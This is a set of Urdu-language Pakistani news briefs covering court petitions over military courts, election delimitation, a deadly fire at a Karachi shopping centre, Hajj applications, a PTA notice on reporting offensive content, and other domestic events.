سابق چیف جسٹس جوادایس خواجہ نےسپریم کورٹ میں فوجی عدالتوں میں سویلینزکےٹرائل کیخلاف اپیلز کی سماعت میںجسٹس طارق مسعود کی بینچ میں موجودگی پراعتراض اٹھا تے ہوئے درخواست دائرکردی۔
سابق چیف جسٹس جوادایس خواجہ نے دائر درخواست میں موقف اختیار کیا کہ جسٹس طارق مسعودفوجی عدالتوں کےمتعلق درخواستوں پرنوٹ میں رائےدےچکےہیں،جسٹس طارق مسعود کوفوجی عدالتوں سےمتعلق بینچ سےالگ کیاجائے،اورفوجی عدالتوں کی اپیلزپرنئےبینچ کی تشکیل کیلئےججزکمیٹی کومعاملہ بھجوایاجائے۔
درخواست کے مطابق 9 رکنی بینچ میں جسٹس فائزعیسیٰ اورجسٹس طارق مسعودنےسننےسےمعذرت کی، جسٹس طارق مسعودنے 26 جون کو دستخط شدہ نوٹ میں اپنی رائے دی تھی، جسٹس طارق مسعود نےفوجی عدالتوں کیخلاف درخواستوں کو ناقابل سماعت قرار دے دیا تھا۔
جسٹس جوادایس خواجہ نے درخواست میں کہا کہ قانون کو پہلے ہائیکورٹ میں چیلنج ہونا چاہیے،جسٹس طارق مسعودکافوجی عدالتوں سے متعلق اپیلزکوسننا انصاف کےاصولوں کےمنافی ہے،جسٹس طارق مسعود کی سربراہی میں قائم بینچ کوانٹراکورٹ اپیلزپرفیصلےسےروکاجائے۔

سوشل میڈیا پر زیرگردش انتخابی شیڈول جعلی قرار

الیکشن کمیشن نے سوشل میڈیا پر زیرگردش انتخابی شیڈول جعلی قرار دے دیا۔
ترجمان الیکشن کمیشن کے مطابق الیکشن کمیشن نے عام انتخابات کا شیڈول ابھی تک جاری نہیں کیا۔ سوشل میڈیا پر گردش کرنے والا شیڈول جعلی ہے
ترجمان کا مزید کہنا تھا کہ میڈیا پر الیکشن کے حوالے سے جھوٹے بیانات شائع ہوتے رہتے ہیں،اس حوالے سے شائع خبریں بھی گمراہ کن ہے، الیکشن کمیشن میں دائر درخواستوں پر کوئی مشاورت نہیں کی گئی۔
ترجمان الیکشن کمیشن کا مزید کہنا تھا کہ ایسے بیانات کو الیکشن کمیشن کا پالیسی بیان نہ سمجھا جائے۔

پی ٹی اے کی سوشل میڈیا پر نفرت انگیز مواد پھیلانے والوں کیخلاف رپورٹ کی اپیل

پاکستان ٹیلی کمیونیکیشن اتھارٹی (پی ٹی اے) نے شہریوں پر زور دیا ہے کہ وہ سوشل میڈیا پر غیر قانونی، نفرت انگیز اور توہین آمیز مواد کے کسی بھی واقعہ کی اطلاع فوری طور پر متعلقہ سوشل میڈیا پلیٹ فارم اور پی ٹی اے کو دیں۔
پی ٹی اے نے ایک پبلک نوٹس میں شہریوں کو مشورہ دیا ہے کہ وہ پی ٹی اے کے لنک https://complaint.pta.gov.pk/RegisterComplain.aspx
یا ای میل ایڈریس content-complaint@pta.gov.pk پر اس ضمن میں کسی بھی خلاف ورزی کی شکایت درج کرائی جا سکتی ہے، جبکہ متعلقہ افراد کے خلاف قانونی کارروائی کے لیے وفاقی تحقیقاتی ایجنسی (ایف آئی اے) کے سائبر کرائم ونگ میں بھی اپنی شکایات درج کرا سکتے ہیں۔ شکایات 1991 پر کال کرکے یا helpdesk@nr3c.gov.pk ای میل کرکے درج کرائی جاسکتی ہیں۔
عوام کو پبلک نوٹس میں مطلع کیا گیا ہے قرآن مجید ( غلطیوں سے پاک طباعت اور ریکارڈنگ ) ایکٹ 1973 کی رو سے قرآن پاک کی ایسی طباعت، اشاعت یاریکارڈنگ جو کسی غیر رجسٹرڈ ناشر قرآن پاک کی طرف سے کی گئی ہو یا ایسا مطبوعہ قرآن یا قرآن پاک کا کچھ حصہ جو کسی بھی شکل ( کتاب ، ریکارڈ ، نصابی کتاب وغیرہ ) میں ریکارڈ یا شائع کیا گیا ہو۔
نوٹس میں یہ بھی کہا گیا ہے کہ قرآن کے کسی لفظ ، حرف یا اعراب کو تبدیل یا آیت ، سورت کی ترتیب کو تبدیل کیا گیا ہو یا کسی غیر مسلم کی طرف سے اس کا ایسا ترجمہ یا تشریح کی گئی ہو جو مسلمانوں کے عقیدے کے برخلاف ہو تو ان تمام صورتوں میں ان جرائم کا مرتکب سخت ترین سزاؤں کا مستحق ہوگا۔
نوٹس کے مطابق تعزیرات پاکستان کے سیکشن(B)295 کی رو سے قرآن پاک، قرآن پاک کے اوراق یا اس کے کسی اقتباس کی تو ہین کے مرتکب کو عمر قید کی سزا ہوسکتی ہے
نوٹس میں عوام الناس ( مسلم و غیر مسلم شہریوں ) سے اپیل کی جاتی ہے کہ مذہبی معاملات ، مقدس کتب، مقدس شخصیات کی نسبت انتہائی احتیاط سے کام لیں اور خاص طور پر سوشل میڈیا پران امور سے متعلق رائے زنی تبصرے، اشاعت وغیرہ میں انتہائی ذمہ داری کا مظاہرہ کریں۔
واضح رہےکہ حکومت پاکستان کے متعلقہ ادارے کسی بھی غیر قانونی، نفرت انگیز، گستاخانہ مواد کی مسلسل نگرانی کرتے ہیں اور آئین پاکستان، متعلقہ قوانین اور عدالتی احکامات کی روشنی میں ان جرائم میں ملوث افراد کے خلاف کاروائی کرتے ہیں

سرکاری حج سکیم، درخواستوں کی وصولی کیلئے بینک ہفتہ اور اتوارکو بھی کھلے رہیں گے

سرکاری حج سکیم کے تحت حج کرنے والے افراد سے درخواستوں کی وصولی کیلئے بینک ہفتہ اور اتوار کو بھی کھلے رہیں گے۔
ترجمان وزارت مذہبی امور کے مطابق سرکاری اسکیم کے تحت حج درخواستوں کی وصولی جاری ہے اوردرخواست گزاروں کی سہولت کیلئے ہفتہ اور اتوار بھی بینک کھلے رہیں گے۔
ترجمان کے مطابق وزارت مذہبی امور کی درخواست پر اسٹیٹ بینک نے نوٹیفکیشن جار ی کر دیا،ریگولر یا اسپانسرشپ اسکیم میں درخواست کیلئے بینکوں سے رابطہ کیا جاسکتا ہے۔
وزارت مذہبی امور کےترجمان نے یہ بھی بتایا کہ حج درخواستوں کی وصولی منگل 12 دسمبر تک جاری رہے گی

فائر بریگیڈ نے عرشی شاپنگ مال میں آگ لگنے کے واقعہ کی تحقیقاتی رپورٹ جاری کر دی

عائشہ منزل پر واقع ’عرشی شاپنگ‘ مال میں آتشزدگی کے واقعے کی تحقیقاتی رپورٹ جاری کر دی گئی ہے جس کے مطابق شاپنگ مال کی عمارت میں ایمرجنسی الارم سمیت ہنگامی اخراج کے سائن موجود نہیں تھے، آگ لگنے کی وجوہات کا تعین بھی نہیں کیا جا سکا۔
محکمہ فائر بریگیڈ کی جانب سے جمعہ کو جاری تحقیقاتی رپورٹ میں کہا گیا ہے کہ عائشہ منزل پر واقع ’عرشی شاپنگ‘ مال میں آگ لگنے کی وجوہات کا فی الحال تعین نہیں ہوسکا تاہم آگ لگنے کی اطلاع 5بج کر41 منٹ پر ملی
رپورٹ میں کہا گیا ہے کہ فائر بریگیڈ کی ٹیم 5 بج کر 42 منٹ پرروانہ ہوئی۔ آگ سے دوسری منزل پر موجود 2 اپارٹمنٹس کو معمولی نقصان پہنچا جب کہ تیسری منزل پرایک اپارٹمنٹ مکمل آگ سے متاثر ہوا۔
رپورٹ میں مزید بتایا گیا ہے کہ شاپنگ مال کے سامنے کھڑی 18 موٹرسائیکلیں ، ایک گاڑی جل کر خاکستر ہوگئیں جب کہ آگ سے عمارت میں 76 میں سے 73 اپارٹمنٹس محفوظ رہے۔ اطراف کی رہائشی عمارتیں، بینک، الیکٹرانک مارکیٹ ، گوداموں کو آگ سے بچایا گیا۔
رپورٹ کے مطابق عمارت کے گراؤنڈ فلور پرقائم 169 دکانیں آگ سے جل کر مکمل خاکستر ہوئیں جب کہ گراؤنڈ فلور پر 120 دکانوں اورمیزنائن فلور پر 30 دکانوں کو جلنےسے بچایا گیا ہے، اسی طرح گراؤنڈ فلورپربیشتردکانیں فوم کے گدوں، کپڑوں اور لکڑی کے فرنیچر پر مشتمل تھیں۔ آگ گراؤنڈ فلور سے میزنائن فلور تک پھیل گئی اور پھر فرسٹ فلور کے اپارٹمنٹس میں لگ گئی۔
رپورٹ میں مزید کہا گیا ہے کہ محکمہ فائر بریگیڈ کو آگ لگنے کی بروقت اطلاع نہیں دی گئی۔ فائر بریگیڈ ڈیپارٹمنٹ کے ایم سی کے 12 فائرٹینڈرز، 2 واٹر باؤزر، 2 اسنارکل نے ریسکیو آپریشن میں حصہ لیا جب کہ واقعہ میں 500 افراد کو ریسکیو کیا گیا۔

حکومت کا بیوٹی انجکشن لگانے والےغیر مستند بیوٹی پارلرز کیخلاف کریک ڈائون کافیصلہ

پنجاب حکومت نے بیوٹی انجکشن لگانے والے غیر مستند افرادکیخلاف کریک ڈاون کافیصلہ کرلیا۔
تفصیلات کے مطابق پنجاب حکومت نےبیوٹی پارلرزکےخلاف کمرکس لی۔ بیوٹی انجکشن لگانےوالے غیر مستند افراداور بیوٹی پارلرز کیخلاف کریک ڈائون کافیصلہ کرلیا۔ غیررجسٹرڈ بیوٹی کریموں، ٹیکوں اور بیوٹی ادویات کےاستعمال کوروکنےکے لیےہیلتھ کئیرکمیشن کوہدایات جاری کردی گئیں۔
وزیرپرائمری ہیلتھ ڈاکٹرجمال ناصر نے کہا ہے کہ ہیلتھ کئیرکمیشن کو جاری کی ہدایات کے مطابق غیر رجسٹرڈ بیوٹی کریمز، ادویات استعمال کرنےوالےبیوٹی پارلرزکی فہرست بنےگی،ڈریپ کی منظورشدہ بیوٹی کریمزاستعمال نہ کی توپارلربندہوگا۔
انہوں نے کہا کہ بیوٹی پارلرزپرغیرمستندافراد بیوٹی انجکشن لگارہےہیں جبکہ منظورشدہ بیوٹی انجکشن استعمال نہیں ہورہے، صرف مستند سکن سپیشلسٹ، سرجن بیوٹی انجکشن لگاسکے گا،خواتین کی اسکن کےساتھ بیوٹی پارلرزکھیل رہےہیں۔
ڈاکٹرجمال ناصر کے مطابق پنجاب ہیلتھ کئیرکمیشن بیوٹی پارلرزکےلیےایس اوپیزتیارکرےگا،کاسمیٹک کریمیں بنانےوالوں کولائسنس لازمی لینےہوں گے۔

مسلم لیگ ( ن ) اور ق لیگ کا آئندہ انتخابات میں مل کر چلنے پر اتفاق

پاکستان مسلم لیگ ( ن ) اور مسلم لیگ ( ق ) کے درمیان آئندہ انتخابات میں مل کر چلنے پر اتفاق ہوگیا۔ جبکہ ق لیگ نے ن لیگ سے قومی اسمبلی کی چکوال، بہاولپور کی نشستیں مانگ لیں۔
مسلم لیگ ( ن ) کے قائد اور سابق وزیر اعظم نواز شریف نے ق لیگ کے سربراہ چوہدری شجاعت حسین سے ملاقات کی جو کہ 40 منٹ تک جاری رہی۔
ذرائع کے مطابق دونوں رہنماؤں کے درمیان ملاقات خوشگوار موڈ میں ہوئی ہے اور آئندہ انتخابات میں مل کر چلنے پر اتفاق کیا گیا ہے جبکہ سیٹ ایڈجسٹمنٹ کے حوالے سے تجاویز مرتب کرنے کا فیصلہ بھی کیا گیا۔
ذرائع نے بتایا کہ ملاقات کے دوران سیاسی مستقبل میں اکٹھے چلنے اور معاملات طے کرنے کیلئے کمیٹی بنانے پر بھی اتفاق ہوا جبکہ کمیٹی تجاویز مرتب کرکے دونوں جماعتوں کے قائدین کے سامنے رکھے گی۔
ذرائع نے مزید بتایا کہ کمیٹی کی تجاویز کی حتمی منظوری کے بعد معاملات اوپن کئے جائیں گے
باخبر ذرائع کے مطابق ق لیگ نے مسلم لیگ ن سےقومی اسمبلی کی چکوال، بہاولپور کی نشستیں ن لیگ سے مانگ لیں۔
نواز شریف اور چوہدری شجاعت حسین کی ملاقات میں شہباز شریف ، مریم نواز اور سالک حسین بھی موجود تھے۔
ملاقات کے دوران نواز شریف نے شجاعت حسین سےکہا کہ آپ نےمشکل وقت میں ساتھ دیا یہ بھول نہیں سکتا، جس پر شجاعت حسین نے کہا کہ خواہش تھی کہ آپ کو لندن آکر ملتا مگر صحت نے اجازت نہیں دی، اچھا ہوا آپ ملنےآگئے بہت خوشی ہوئی۔
اس دوران شجاعت حسین اور مریم نوازشریف کے درمیان بھی دلچسپ مکالمہ ہوا، شجاعت حسین نے مریم نواز سے استفسار کیا کہ میں نےاورنوازشریف نےایک جیسی واسکٹ پہن رکھی ہے زیادہ اچھی کس کی لگ رہی ہے، جس پر مریم نواز نے جواب دیا کہ زیادہ اچھی آپ کی لگ رہی ہے۔
ملاقات کے دوران سابق وزیر اعظم شہبازشریف نے کہا کہ سالک حسین نےمیری کابینہ میں فعال کردارادا کیا

کراچی: عائشہ منزل پر فرنیچرکی دکانوں میں آگ لگ گئی، 4 افراد جاں بحق، کروڑوں کا نقصان

کراچی: ضلع وسطی کے علاقے عائشہ منزل کے قریب فرنیچر مارکیٹ کی دکانوں میں آگ لگنے سے جھلس کر4 افراد جاں بحق اور ایک زخمی ہوگیا جبکہ کروڑوں کا سامان جل کر خاکستر ہوگیا، فائربریگیڈ کی گاڑیوں نے کئی گھنٹے کی جدوجہد کے بعد آگ پر قابو پالیا۔
کراچی کے ضلع وسطی میں عائشہ منزل کے قریب کثیرالمنزلہ عرشی سینٹر کے گراؤنڈ فلور پر واقع فرنیچر کی دکانوں میں لگنے والی آگ پر قابو پالیا گیا ہے، میز نائن فلور پر بھی آگ کو بھجا دیا گیا جبکہ پہلی اور دوسری منزلوں کے فلیٹس کی جانچ کا عمل جاری ہے۔
عرشی سینٹر کے گرائونڈ فلو پر واقع فرنیچر کی دکانوں میں لگنے والی آگ نے میزنائن فلور پر فوم کے گدوں کے اسٹاک کو بھی لپیٹ میں لے لیا تھا جس کی وجہ سے آگ کی شدت میں اضافہ ہوا۔آتش زدگی کے نتیجے میں کروڑوں کا سامان جل کر خاکستر ہوگیا۔
آگ بجھانے میں فائر بریگیڈ کی 12 گاڑیوں نے حصہ لیا جبکہ 2 باؤزر اور 2 اسنارکل بھی طلب کیے گئے۔ جائے حادثہ پر رش کی وجہ سے امدادی کاموں میں رکاوٹ کا سامنا کرنا پڑا۔
آتش زدگی کے بعد پاک بحریہ کے فائرٹینڈر اور عملہ بھی جائے حادثہ پر پہنچ گیا اور آگ بجھانے کی کارروائی میں بھرپور معاونت کی۔ پاک بحریہ کے ترجمان کے مطابق بحریہ کے 7 فائر ٹینڈروں اور عملے نے آگ بجھانے میں حصہ لیا۔
ریسکیو حکام کا کہنا ہے کہ ابتدائی معلومات کے مطابق آگ شارٹ سرکٹ کے باعث لگی۔ آگ لگنے سے متعدد گاڑیوں اور موٹرسائیکلوں کو بھی نقصان پہنچا، جبکہ کچھ رہائشی فلیٹ بھی متاثر ہوئے۔
فائر بریگیڈ حکام کے مطابق آگ تیسرے درجے کی تھی۔ آگ پھیلنے کے امکانات کے بعد متاثرہ رہائشی عمارت سے لوگوں کو نکال لیا گیا۔ آتش زدگی کےو اقعے کے پیش نظر واٹر کارپوریشن کے نیپا اور سخی حسن ہائیڈرنٹس پر ایمرجنسی نافذ کردی گئی۔
ایس ایس پی سینٹرل فیصل عبداللہ چاچڑ کا کہنا ہے کہ آتش زدگی کے واقعے میں اب تک تین افراد جاں بحق ہوئے ہیں جن کی لاشیں نکال لی گئی ہیں جبکہ عمارت کی سرچنگ کا عمل جاری ہے اور عمارت میں مزید لوگوں کے موجود ہونے کا خدشہ ہے۔
ریسکیو حکام کے مطابق آتشزدگی سے 2 افراد جھلس کر زخمی ہوگئے جنھیں فوری طبی امداد کے لیے سول اسپتال برنس وارڈ منتقل کر دیا گیا ، ریسکیو حکام کے مطابق جھلس کر زخمی ہونے والوں کی شناخت 22 سالہ اسامہ اور 50 سالہ ساجد کے نام سے کی گئی جس میں نوجوان کی حالت تشویشناک بتائی جاتی ہے۔
بعدازاں نوجوان اسامہ اسپتال میں زخموں کی تاب نہ لاتے ہوئے جاں بحق ہوگیا جس کے بعد ہلاکتوں کی مجموعی تعداد 4 ہوگئی۔
گورنر و نگراں وزیراعلیٰ سندھ کا نوٹس
گورنر سندھ کامران خان ٹیسوری نے عرشی سینٹر میں لگنے والی آگ کا نوٹس لیتے ہوئے کمشنر کراچی سے رپورٹ طلب کرتے ہوئے شہریوں کے باحفاظت انخلا کو یقینی بنانے کی ہدایت کی اور کہا کہ آگ پر قابو پانے کے لیے ہر ممکن وسائل بروئے کار لائے جائیں۔
دریں اثنا وزیراعلیٰ سندھ مقبول باقر نے عائشہ منزل پر شاپنگ مال میں آتشزدگی کے واقعے کی تحقیقات کا حکم دیتے ہوئے کمشنر کراچی کی زیر نگرانی تین رکنی کمیٹی قائم کردی جو آتشزدگی کی وجوہات اور غفلت کے مرتکب عناصر کیخلاف تحقیقات کرے گی۔
وزیراعلیٰ نے انکوائری کمیٹی کو آئندہ تین دن میں آتشزدگی کے ذمہ دار افراد کا تعین کرکے رپورٹ پیش کرنے کا حکم دیا۔ ترجمان وزیراعلیٰ کے مطابق انکوائری کمیٹی تین دن کے اندر تمام وجوہات کے ساتھ اپنی سفارشات بھی دے گی۔
وزیراعلیٰ سندھ نے آتشزدگی کے واقعے میں جانی نقصان پر گہرے دکھ کا بھی اظہار کیا۔
عرشی شاپنگ مال کی عمارت سیل
آتش زدگی کے واقعے کے بعد ڈپٹی کمشنر سینٹرل کی ہدایت پر ایس بی سی اے نے عرشی شاپنگ مال کی عمارت کو سیل کر دیا، ترجمان ایس بی سی اے کے مطابق سیل کرنے کا مقصد یہ ہے کہ کوئی شخص متاثرہ عمارت کے اندر داخل نہ ہوسکے۔
ترجمان کے مطابق کولنگ کے عمل کے بعد ایس بی سی اے کی ڈیجنرز کمیٹی عمارت کا معائنہ کر کے اپنی رپورٹ مرتب کرے گی جسے اعلیٰ حکام کو پیش کیا جائے گا ، ترجمان کے مطابق عمارت کے معائنہ کے بعد ہی اس بات کا فیصلہ کیا جائے گا کہ متاثرہ عمارت استعمال کے قابل بھی ہے یا نہیں ۔

ڈیجیٹل قرضہ دینے والی ڈیڑھ سوغیر قانونی موبائل اپلیکشنزبند

سیکیورٹی ایکسچینج کمیشن آف پاکستان( ایس ای سی پی ) نےڈیڑھ سوغیرقانونی موبائل اپلیکشنزبندکرادیں۔ چئیرمین ایس ای سی پی کہتےہیں یہ ایپس ڈیجیٹل قرضےدینےکاغیرقانونی کاروبارکررہی تھیں۔
چیئرمین ایس ای سی پی عاکف سعید نےاسلام آبادمیں میڈیاسےگفتگوکرتےہوئےبتایاکہایس ای سی پی نے 150 غیر قانونی موبائل اپلیکیشنز بند کرا دیں،یہ ایپس ڈیجیٹل قرضے دینے کا غیر قانونی کاروبار کر رہی تھیں ایف آئی اےاورپی ٹی اےکی مدد سےایس ای سی پی بطور ریگولیٹر ڈیجیٹل ایپس کے حوالے سے اپنا کردار ادا کر رہا ہے۔
انہوں نےکہاکہ شہری سرمایہ کاری یاآن لائن قرض لینےسےپہلےاپنی اچھی طرح تسلی کریں۔ ایس ای پی کی ویب سائٹ پرمنظورشدہ ایپس کی فہرست موجود ہے۔ صرف انہی ویب سائٹس سےقرض لیں جوویب سائٹ پرموجودہوں

آرمی چیف جنرل عاصم منیر کا بطور سپہ سالار ایک سال، عوام کا اظہار اطمینان

آرمی چیف جنرل عاصم منیر کو پاک فوج کی کمان سنبھالے ایک سال ہو گیا۔
آرمی چیف جنرل عاصم منیر نے فوج کی کمان سنبھالی تو ہر طرف چیلنج ہی چیلنج تھے۔ معیشت آخری سانسیں لے رہی تھی۔ بین الاقوامی قوتیں عالمی مالیاتی اداروں کے ذریعے پاکستان کو زیر کرنے کے درپے تھیں۔
جنرل سید عاصم منیر نے بطور آرمی چیف اپنا پہلاایک سال کامیابی کے ساتھ مکمل کیا اور اپنے کامیاب دور میں انہوں نے پاکستان کو موجودہ بحرانوں سے نہ صرف نکالنے کے بہترین اقدامات کیے۔
آرمی چیف جنرل عاصم منیر کے بطور سپہ سالار ایک سال مکمل ہونے پر عوام نے اظہار خیال کرتے ہوئے کہا کہ آرمی چیف کے اس ایک سال کے دور میں بہت اچھے اقدامات کیے گئے ہیں۔ آرمی چیف نے دہشتگردی کے سددباب کے لیے بہت سخت اقدامات کیے اور معیشت کو بھی بہت بہتر کردیا۔
عوام کا کہنا ہے کہ پاکستان میں ڈالر کی قیمت بہت بڑھ گئی تھی لیکن آرمی چیف نے کافی حد تک اس پر بھی قابو پالیا ہے، ہم تو نماز میں بھی آرمی چیف کے لیے دعا کرتے ہیں کہ اللّٰہ ان کی قوت میں اضافہ کرے۔
آرمی چیف نے پاکستان میں جرائم پر جو پابندی لگائی اور قانون کی پاسداری کروائی وہ کوئی آسان کام نہیں تھا، آرمی چیف کی جو کاوشیں ہیں ملک میں بہتری لانے کے لیے وہ بہترین ہیں۔ سروے کے مطابق تقریباً 95 فیصد عوام موجودہ آرمی چیف کی کارکردگی سے مطمئن ہیں۔
عوام کا کہنا تھا کہ آرمی چیف کا احسان ہے جو انہوں نے کسانوں کو ریلیف دلوایا، ذخیرہ اندوزی اور اسمگلنگ کے معاملے میں آرمی چیف بہت اچھا کام کررہے ہیں، اگر غیر قانونی غیر ملکیوں اور ذخیرہ اندوزی کے خلاف ایسے ہی کام ہوتا رہا تو اس کے بہت مثبت اثرات مرتب ہونگے۔ آرمی چیف نے دوسرے ممالک کے ساتھ تعلقات ہموار کرنے کے لیے بہت اچھے اقدامات کیے، جنرل عاصم منیر کے آنے کے بعد سے پاک فوج کی صلاحیت میں بھی اضافہ ہوا ہے۔

اڈیالہ جیل میں سائفر کیس کی سماعت

راولپنڈی اڈیالہ جیل میں سائفر کیس کی سماعت خصوصی عدالت کے جج ابوالحسنات ذوالقرنین کر رہے ہیں۔
چیئرمین پی ٹی آئی اور شاہ محمود قریشی کمرۂ عدالت میں موجود ہیں۔
گزشتہ روز وفاقی وزارتِ داخلہ کے سابق وزیراعظم و چیئرمین پاکستان تحریک انصاف اور سابق وزیرِ خارجہ کے خلاف سائفر کیس کے جیل ٹرائل کا نوٹیفکیشن موصول ہونے کے بعد آفیشل سیکرٹ ایکٹ خصوصی عدالت نے سائفر کیس کی سماعت ملتوی کردی تھی

عام انتخابات کیلئے اہم مرحلہ طے،حلقہ بندیوں کی حتمی فہرست جاری

ملک بھر میں آئندہ سال 8 فروری کو ہونے والے عام انتخابات کیلئے اہم مرحلہ طے کر لیا گیا،اورحلقہ بندیوں کی حتمی فہرست جاری کردی گئی ہے۔
تفصیلات کے مطابق الیکشن کمیشن آف پاکستان نے 266 قومی اسمبلی اور 593 صوبائی اسمبلی کی نشستوں کی حتمی حلقہ بندیاں جاری کردیں۔پنجاب میں قومی اسمبلی کی 141،سندھ میں 51 نشستیں ہوں گی،خیبرپختونخوامیں 45 ،بلوچستان میں قومی اسمبلی کی 16 نشستیں ہوں گی۔
الیکشن کمیشن کے مطابق پنجاب اسمبلی میں جنرل نشستوں کی تعداد 297 ہوگی، جبکہ سندھ اسمبلی میں جنرل نشستوں کی تعداد 130 ہوگی۔اسی طرح خیبرپختونخوااسمبلی میں جنرل نشستوں کی تعداد 115 ہوگی، جبکہ بلوچستان اسمبلی کی جنرل نشستیں 51 ہوں گی۔
حتمی حلقہ بندیوں کے مطابق قومی اسمبلی میں خواتین کی مخصوص نشستوں کی تعداد60 اور اقلیتوں کی مخصوص نشستوں کی تعداد10ہوگی۔
قومی اسمبلی میں پنجاب سےخواتین کی32اورسندھ سے14مخصوص نشستیں ہوں گی،خیبر پختونخوا سےقومی اسمبلی کی 10اوربلوچستان سے4 خواتین مخصوص نشستوں پررکن بنیں گی اور قومی اسمبلی کاایوان 336نشستوں پرمشتمل ہوگا۔
خیال رہے کہ الیکشن کمیشن نے 27 ستمبر کو ابتدائی حلقہ بندیاں جاری کی تھی، جس پر 109 اضلاع سے 1324 اعتراضات موصول ہوئے تھے۔اوریہ اعتراضات پر یکم نومبرسے 22 نومبر تک نمٹائے گئے۔

کراچی، گلستانِ جوہر میں گھر سے 3بچوں اور خاتون کی لاشیں برآمد

کراچی کے علاقے گلستانِ جوہر میں ایک گھر سے 3بچوں اور خاتون سمیت 4افراد کی لاشیں برآمد ہونے پر خوف و ہراس پھیل گیا ہے۔
تفصیلات کے مطابق گلستانِ جوہر کے علاقے کامران چورنگی کے نزدیک گھر سے ایک ہی خاندان کے 4افراد کی لاشیں برآمد ہونے پر علاقے کی فضا سوگوار ہے۔ چاروں افراد کو تیز دھار آلے کی مدد سے قتل کیاگیا
ایک ماں اور3 بیٹے جن کی عمریں 10 سے 15سال کے درمیان تھیں، مقتولوں میں شامل ہیں۔ خاتون اور بچوں کی شناخت کی جاچکی ہے۔ بچوں کے نام اشہد، احد اور شاہ زین ہیں۔
علاقہ پولیس کا کہنا ہے کہ مقتول خاندان کے سربراہ نے آگہی دی ہے کہ جس وقت اس کے گھر والوں کو قتل کیا گیا، وہ گھر پر موجود نہیں تھے، واقعے کے متعلق مزید پوچھ گچھ اور تفتیش کا عمل جاری ہے۔
یاد رہے کہ اس سے قبل شہرِ قائد کے علاقے ملیر شمسی سوسائٹی میں گھر سے ایک ہی خاندان کے 4 افراد کی لاشیں ملیں۔
آج سے ایک سال قبل ملک کے سب سے بڑے شہر کے الفلاح تھانے کی حدود میں شامل شمسی سوسائٹی کے ایک گھر میں 2 بچوں سمیت 4 خواتین کو قتل کردیا گیا جبکہ ایک مرد کو شدید زخمی حالت میں اسپتال منتقل کیا گیا تھا۔

ایف بی آر نے ملک بھر میں پی آئی اے کے اکاؤنٹس منجمد کر دیے

پی آئی اے کی مشکلات میں ایک بار پھر اضافہ ہوگیا، ایف بی آر نے ملک بھر میں پی آئی اے کے اکاؤنٹس منجمد کردیے ہیں۔
ذرائع کے مطابق پی آئی اے کو مجموعی طور پر ساڑھے 4ارب کی ادائیگی کرنی ہے،پی آئی اے نے فروری سے لے کر اب تک ریٹرن فائل نہیں کئے، ٹریبونل کے آرڈر پر 2ارب 70کروڑ روپے ادا کرنے ہیں، ادائیگی نہ ہونے پر اکاؤنٹس منجمد کردیے گئے ہیں۔
اس کے علاوہ ذرائع نے بتایاکہ پاکستان اسٹیٹ آئل نے بھی پی آئی اے کے جہازوں کو ایندھن بند کرنے کی دھمکی دے دی،پی ایس او نے پی آئی اے سے 1.5ارب روپے فوری ادائیگی کا مطالبہ کیا ہے۔
پی آئی اے ذرائع نے بتایاکہ ایاسا کے آڈٹ کے دوران ایف بی آر، پی ایس او کے ایسے اقدامات بدقسمتی ہے، ایاسا آڈٹ کے بعد پی آئی اے پر یورپ میں پابندی ہٹ سکتی ہے

کراچی کے کمرشل عمارتوں کا فائر سیفٹی آڈٹ کروانے کا فیصلہ

میئر کراچی مرتضیٰ وہاب نے آگ لگنے کے واقعات کے بعد کراچی کے کمرشل عمارتوں کا فائر سیفٹی آڈٹ کروانے کا فیصلہ کرلیا۔
بیرسٹر مرتضیٰ وہاب نے افسران سے مشاورتی اجلاس کے بعد ویڈیو بیان میں کہا کہ شہر کی تمام بڑی عمارتوں کا سیفٹی آڈٹ کروایا جائے گا۔ پہلے مرحلے میں آئی آئی چندریگرروڈ، شارع فیصل اور طارق روڈ پربلڈنگز کا سیفٹی آڈٹ ہوگا۔
میئرکراچی نے افسران سے مشاورت کے بعد فائرسیفٹی آڈٹ کیلئے 3 ٹیمیں تشکیل دیدیں۔ مرتضیٰ وہاب نے کہا کہ جن عمارتوں میں فائر سیفٹی کا نظام اور ہنگامی اخراج کے راستے نہیں ان کے خلاف قانونی چارہ جوئی کی جائے گی۔
مرتضیٰ وہاب کا کہنا تھا کہ بلڈنگزمیں سیفٹی ایگزٹ نہ ہونے پر قانون کےمطابق کارروائی کریں گے، کراچی کی کئی عمارتوں میں ایمرجنسی ایگزٹ نہیں ہے۔ بلڈنگز میں سیفٹی ایگزٹ نہ ہونے پر قانون کے مطابق کارروائی کرینگے۔

سرکاری حج اسکیم کیلئے درخواستوں کی وصولی شروع

سرکاری اسکیم کے تحت حج کے لیے درخواستوں کی وصولی شروع ہو گئی۔
وزارتِ مذہبی امور کے مطابق حج درخواستوں کے لیے 15 بینکوں کی خدمات حاصل کی گئی ہیں، حج درخواستیں 15 بینکوں میں جمع کروائی جا سکتی ہیں۔
وزارتِ مذہبی امور کا کہنا ہے کہ سرکاری اسکیم کے تحت حج درخواستوں کی وصولی آج سے 12 دسمبر تک جاری رہے گی، آئندہ سال 89 ہزار 605 پاکستانی سرکاری اسکیم کے تحت فریضہ حج ادا کریں گے۔
خواتین پہلی مرتبہ محرم کے بغیر حج ادا کر سکیں گی، مقررہ تعداد سے زائد درخواستیں موصول ہونے کی صورت میں قرعہ اندازی کی جائے گی۔
وزارتِ مذہبی امور نے کہا ہے کہ اسپانسر شپ اسکیم کے تحت 25 ہزار کا کوٹہ مختص کیا گیا ہے، اس اسکیم کے تحت درخواستیں ڈالرز کے ہمراہ بیرونِ ملک سے جمع کرانی ہوں گی۔
اسپانسر شپ اسکیم کے تحت درخواست دہندہ یا ان کے عزیز و رشتے دار قرعہ اندازی سے مستثنیٰ ہوں گے۔
دسمبر 2024ء تک کارآمد شناختی کارڈ پر ہی حج درخواستیں جمع کروائی جا سکتی ہیں۔

سکیورٹی فورسز کاجنوبی وزیرستان میں آپریشن ، فائرنگ کے تبادلے میں 8دہشتگرد ہلاک

سکیورٹی فورسز نے جنوبی وزیرستان کے علاقے سراروغہ میں آپریشن کیا ہے۔
آئی ایس پی آر کے مطابق فائرنگ کے تبادلے میں 8دہشتگرد ہلاک ہوگئے۔
ہلاک دہشتگردوں سے اسلحہ، گولہ بارود اور دھماکہ خیز مواد برآمد ہوا۔ہلاک دہشتگرد سیکیورٹی فورسز اور شہریوں کیخلاف کارروائیوں میں ملوث تھے۔
دہشتگردوں کے خاتمے کیلئے علاقے میں سرچ آپریشن جاری ہے۔سکیورٹی فورسز ملک سے دہشتگردی کے خاتمے کیلئے پر عزم ہیں۔

